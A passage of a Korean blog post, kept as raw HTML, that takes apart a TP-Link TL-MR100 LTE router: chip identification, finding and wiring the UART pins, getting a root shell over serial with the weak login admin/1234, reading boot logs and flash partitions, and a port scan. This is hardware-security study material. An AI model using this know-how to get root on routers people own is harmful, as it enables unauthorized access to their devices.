this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3024&quot; height=&quot;4032&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭔가 수상한 테스팅 포인트가 많은 걸 볼 수 있다. 개인적으로 저 LED가 싫다. 분석을 할 때마다 옆에서 밝게 빛나는데 눈이 너무 아프다..&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;3. &lt;span&gt;주요 칩 구성&lt;/span&gt;&lt;br /&gt;&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;기판을 분해한 뒤에는 각 칩의 마킹을 확인하면서 전체 구조를 파악했다. &lt;/span&gt;&lt;br /&gt;&lt;span&gt;TL-MR100은 일반적인 공유기처럼 메인 SoC, RAM, Flash를 가지고 있으며 여기에 LTE 통신을 위한 별도의 모뎀 칩과 RF 회로가 추가된 형태로 구성되어 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3.1 SPI Flash&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;가장 먼저 확인한 부품은 SPI Flash이다. SPI Flash는 라우터의 펌웨어가 저장되는 비휘발성 메모리로, 부트로더, 커널, 루트 파일시스템, 설정 영역 등이 저장되는 공간이다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/x3TSk/dJMcabjYbEm/akixGpIhuRs4ianq54QMpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/x3TSk/dJMcabjYbEm/akixGpIhuRs4ianq54QMpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/x3TSk/dJMcabjYbEm/akixGpIhuRs4ianq54QMpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fx3TSk%2FdJMcabjYbEm%2FakixGpIhuRs4ianq54QMpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;800&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 라우터에서 사용중인 칩은 XMC XM25QH64DHIQ이며 각 핀의 역할은 다음과 같다. (데이터 시트 기준)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1531&quot; data-origin-height=&quot;1075&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c8U19u/dJMcaiXBwaW/4uvE6aG07zkOeODusESiIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c8U19u/dJMcaiXBwaW/4uvE6aG07zkOeODusESiIK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c8U19u/dJMcaiXBwaW/4uvE6aG07zkOeODusESiIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc8U19u%2FdJMcaiXBwaW%2F4uvE6aG07zkOeODusESiIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1531&quot; height=&quot;1075&quot; data-origin-width=&quot;1531&quot; data-origin-height=&quot;1075&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div&gt;
&lt;div data-is-intersecting=&quot;true&quot; data-turn-id-container=&quot;request-WEB:07d01449-6b30-41af-921e-050e4e56da85-8&quot;&gt;
&lt;div&gt;위 핀들은 조금있다. uart 핀을 식별할 때 요긴하게 이용할 것이다.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3.2 LTE Modem Module &lt;/b&gt;&lt;/h4&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기판 하단에는 EC200A-ELA&amp;nbsp;Quectel LTE 모뎀 모듈이 실장되어 있었다. 이 모듈은 SIM 카드를 통해 이동통신망에 접속하고, 메인 SoC는 내부 인터페이스를 통해 이 모뎀을 제어하는 구조로 보인다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjPWFs/dJMcaiQRkMe/MD3kYBTZpW4pK15RURyKbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjPWFs/dJMcaiQRkMe/MD3kYBTZpW4pK15RURyKbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjPWFs/dJMcaiQRkMe/MD3kYBTZpW4pK15RURyKbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjPWFs%2FdJMcaiQRkMe%2FMD3kYBTZpW4pK15RURyKbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3024&quot; height=&quot;4032&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나중에 이 내부에 있는 베이스 벤드도 분석해보겠다... (펌웨어 구하기 힘들 것 같긴한데 열풍기로 뜯고 칩 덤프하면 되려나...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3.3 Main SoC &lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;LTE 모뎀 모듈과 SPI Flash 외에, 기판 중앙에는 큰 금속 쉴드캔으로 덮인 영역이 존재한다. 이 영역은 외부에서 칩 마킹을 직접 확인할 수 없었지만 위치와 주변 회로를 고려하면 라우터의 메인 SoC 또는 Wi-Fi/RF 관련 회로가 배치되어 있을 가능성이 높다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rNuKm/dJMcagZN0AW/AYcv0VBcF0ADeegrKOQF6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rNuKm/dJMcagZN0AW/AYcv0VBcF0ADeegrKOQF6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rNuKm/dJMcagZN0AW/AYcv0VBcF0ADeegrKOQF6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrNuKm%2FdJMcagZN0AW%2FAYcv0VBcF0ADeegrKOQF6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;800&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;TP link를 수리하는 글(&lt;a href=&quot;https://blog.danman.eu/fixing-broken-tp-link-tl-mr100/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://blog.danman.eu/fixing-broken-tp-link-tl-mr100/&lt;/a&gt;)에 따르면 저 부분에는&amp;nbsp;&lt;b&gt;MT7628AN&amp;nbsp;SoC&lt;/b&gt;와&amp;nbsp;&lt;b&gt;zentel DRAM&lt;/b&gt;이 있는 것 같다. 다만 내가 분석한 장비는 TL-MR100(EU) Ver. 3.20이며 기존 글의 보드와 PCB 배치 및 모뎀 구성이 다르다. 따라서 동일한 칩 구성을 가진다고 단정할 수는 없지만 이 쉴드캔 아래에 메인 SoC와 DRAM이 위치할 가능성이 높다고 판단했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3.4 &lt;span&gt;Ethernet / LAN-WAN 포트 영역&lt;/span&gt;&lt;br /&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;기판 왼쪽에는 유선 LAN/WAN 포트가 배치되어 있다. TL-MR100은 10/100Mbps Ethernet 포트를 제공하며 이 포트는 내부적으로 메인 SoC 또는 Ethernet PHY/Switch 회로와 연결되는 구조로 보인다. (&lt;b&gt;뒤에 뭔가 수상한 글씨로 ZDF 2021 2604G라고 써있는데 이 의미를 아시는 분은 댓글 부탁드립니다.)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Sgyvo/dJMcafGECbM/2Aam34K40AXPftLcQ7kef1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Sgyvo/dJMcafGECbM/2Aam34K40AXPftLcQ7kef1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Sgyvo/dJMcafGECbM/2Aam34K40AXPftLcQ7kef1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSgyvo%2FdJMcafGECbM%2F2Aam34K40AXPftLcQ7kef1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;800&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. UART interface 분석&amp;nbsp;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;먼저 처음 기판을 뜯었을 때 uart 핀처럼 보이는 곳은 3곳이였다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cIGFe4/dJMcaf0T7my/GK2gvfUNklt8E0nC4gAbB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cIGFe4/dJMcaf0T7my/GK2gvfUNklt8E0nC4gAbB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cIGFe4/dJMcaf0T7my/GK2gvfUNklt8E0nC4gAbB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcIGFe4%2FdJMcaf0T7my%2FGK2gvfUNklt8E0nC4gAbB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3024&quot; height=&quot;4032&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 언급했던 부서진 tl mr 100을 고치는 글에서는 핀 세개 짜리가 NezhaC 4G 모뎀 칩/모듈의 uart인터페이스라고한다. 이 uart는 1.8V의 전압을 요구하는 것으로 보이며 나중에 한번 다뤄보겠다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;남은 uart 후보 2개를 구분하는 것이 어려웠다. 둘다 핀을 4개 가지고 SPI Flash와 연결된 GND를 가지고 있었기 때문이다. 이를 구분하기 위해서 전압 측정을 해주었다. 중앙의 핀은 GND 기준 전위차가 각각 3.8V, 0, 0, 0 이였구 가장자리의 핀은 3.3V, 0, 0, 3.3V였다. 즉 가장자리의 핀이 uart였다. LLM에게 중앙 핀의 정체 유추를 부탁하니 전원부와 관련된 별도의 power rail일 가능성이 있다구 한다. 나중에 로직 애널라이저로 파형을 분석봐야겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 각 핀을 구분하는 것은 별로 어렵지 않았다. 먼저 GND와 VCC를 SPI Flash와의 도통 테스트로 구분했고, RX TX는 전압이랑 부팅시 전압 떨림을 통해 구분했다. 결과적으로 왼쪽부터 각각 VCC, GND, RX, TX였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;uart 연결 과정중에 가장 당황스러웠던 것은 모든 uart 인터페이스가 납으로 막혀있다는 것이다... 처음에는 이를 디솔더링 후 핀 헤더를 꽃아서 해결하려했다. 하지만 생각보다 쉽지 않았다. 유연납을 함께 납땜하면서 녹는 점을 낮추려고 시도했지만 거의 흠집도 나지 않았다. (내 인두기가 그렇게 성능이 좋지 않은 점도 한 몫한다.) 그러던 중 더 쉬운 방법을 발견했다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tIDNx/dJMcai4mvRT/3cgwrMXFXn6LmpypFAHc9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tIDNx/dJMcai4mvRT/3cgwrMXFXn6LmpypFAHc9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tIDNx/dJMcai4mvRT/3cgwrMXFXn6LmpypFAHc9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtIDNx%2FdJMcai4mvRT%2F3cgwrMXFXn6LmpypFAHc9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;800&quot; data-origin-width=&quot;3024&quot; data-origin-height=&quot;4032&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;바로 직접 전선을 납땜 해주는 것이다. USB to TTL이 dupont 선을 입력으로 받기 때문에 dupont선을 자르고 피복을 벗겨서 납땜해줬다. (테이프로 전선을 고정하고 접합부를 납땜하면 편하다.) 각 접합부끼리도 닿으면 안되기 때문에 난이도가 조금 있었지만 성공했다. 납땜 실력이 좋지 못해서 예쁘게 되진 않았지만 통신을 하기에는 충분하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후 바로 Putty terminal을 통해 연결해줬다.&amp;nbsp;&lt;b&gt;baud&amp;nbsp;rate&lt;/b&gt;는 115200, data bits는 8, stop bits는 1, parity, flow control은 각각 None으로 설정 후 연결했다. 그 결과 다음과 같이 라우터의 &lt;b&gt;Root shell&lt;/b&gt;을 얻을 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;2160&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bOiyNY/dJMcaayzY4D/u353nWB0RC8k8ks3KNcjik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bOiyNY/dJMcaayzY4D/u353nWB0RC8k8ks3KNcjik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bOiyNY/dJMcaayzY4D/u353nWB0RC8k8ks3KNcjik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbOiyNY%2FdJMcaayzY4D%2Fu353nWB0RC8k8ks3KNcjik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2880&quot; height=&quot;2160&quot; data-origin-width=&quot;2880&quot; data-origin-height=&quot;2160&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중간에 비밀번호를 묻는데 그냥 admin, 1234를 입력하면 된다 ㅋㅋㅋㅋ.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;5. 부팅 로그 분석&amp;nbsp;&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1075&quot; data-origin-height=&quot;1230&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uD3as/dJMcafml28g/ukXfwq4krC9k9C5blFWFkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uD3as/dJMcafml28g/ukXfwq4krC9k9C5blFWFkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uD3as/dJMcafml28g/ukXfwq4krC9k9C5blFWFkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuD3as%2FdJMcafml28g%2FukXfwq4krC9k9C5blFWFkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1075&quot; height=&quot;1230&quot; data-origin-width=&quot;1075&quot; data-origin-height=&quot;1230&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;메인 SoC가 MT7628 계열이고 RAM은 64MB, Flash는 8MB SPI Flash&lt;/b&gt;라는 걸 확인 가능하다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2510&quot; data-origin-height=&quot;623&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYASur/dJMcadWjSGn/5zGoNG7ItHI1qxfW3Uzhe1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYASur/dJMcadWjSGn/5zGoNG7ItHI1qxfW3Uzhe1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYASur/dJMcadWjSGn/5zGoNG7ItHI1qxfW3Uzhe1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYASur%2FdJMcadWjSGn%2F5zGoNG7ItHI1qxfW3Uzhe1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2510&quot; height=&quot;623&quot; data-origin-width=&quot;2510&quot; data-origin-height=&quot;623&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;그 후&amp;nbsp; kernel이 실행되는데 Mips기반의 오래된 이미지 같다. Kernel command line에서는 console=ttyS1,115200이 지정되어 있었다. 따라서 이번에 연결한 UART는 메인 SoC의 Linux console로 사용되는 ttyS1임을 확인할 수 있다. 또한 root filesystem은 /dev/mtdblock2에 위치하며 squashfs 형식으로 마운트된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1612&quot; data-origin-height=&quot;490&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bARfc4/dJMcajhV0yl/4Oft38VaDAuyF5CVGVQqVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bARfc4/dJMcajhV0yl/4Oft38VaDAuyF5CVGVQqVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bARfc4/dJMcajhV0yl/4Oft38VaDAuyF5CVGVQqVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbARfc4%2FdJMcajhV0yl%2F4Oft38VaDAuyF5CVGVQqVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1612&quot; height=&quot;490&quot; data-origin-width=&quot;1612&quot; data-origin-height=&quot;490&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TL-MR100은 하나의 8MB SPI Flash를 여러 partition으로 나누어 사용한다.&lt;br /&gt;여기서 erasesize = 0x10000 즉 64KB로 표시되는데, 이는 Flash를 erase할 때의 최소 단위로 볼 수 있다. 그래서 config, configbak, romfile, radio처럼 작은 파티션들이 64KB 단위로 나누어진 것으로 보인다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;6. 주요 서비스 식별&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 포트 스캔시 결과는 다음과 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1506&quot; data-origin-height=&quot;498&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bu0gLy/dJMcaiwzFwG/KLvselYDoWe322dU8erhK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bu0gLy/dJMcaiwzFwG/KLvselYDoWe322dU8erhK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bu0gLy/dJMcaiwzFwG/KLvselYDoWe322dU8erhK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbu0gLy%2FdJMcaiwzFwG%2FKLvselYDoWe322dU8erhK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1506&quot; height=&quot;498&quot; data-origin-width=&quot;1506&quot; data-origin-height=&quot;498&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-end=&quot;1078&quot; data-start=&quot;908&quot; data-ke-size=&quot;size16&quot;&gt;여기서 80/tcp는 사용자가 직접 접근하는 웹 관리 인터페이스이고 7547/tcp는 일반적으로 ISP 원격 관리에 사용되는 CWMP/TR-069 서비스인 것 같다. 또한 1900/tcp는 UPnP 서비스로 식별되었으며 라우터 장비에서 자주 볼 수 있는 LAN 내부 관리 인터페이스이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1746&quot; data-origin-height=&quot;452&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nZqbi/dJMcafUbERC/ToJCqM5z2TazcHjTW9ec30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nZqbi/dJMcafUbERC/ToJCqM5z2TazcHjTW9ec30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nZqbi/dJMcafUbERC/ToJCqM5z2TazcHjTW9ec30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnZqbi%2FdJMcafUbERC%2FToJCqM5z2TazcHjTW9ec30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1746&quot; height=&quot;452&quot; data-origin-width=&quot;1746&quot; data-origin-height=&quot;452&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
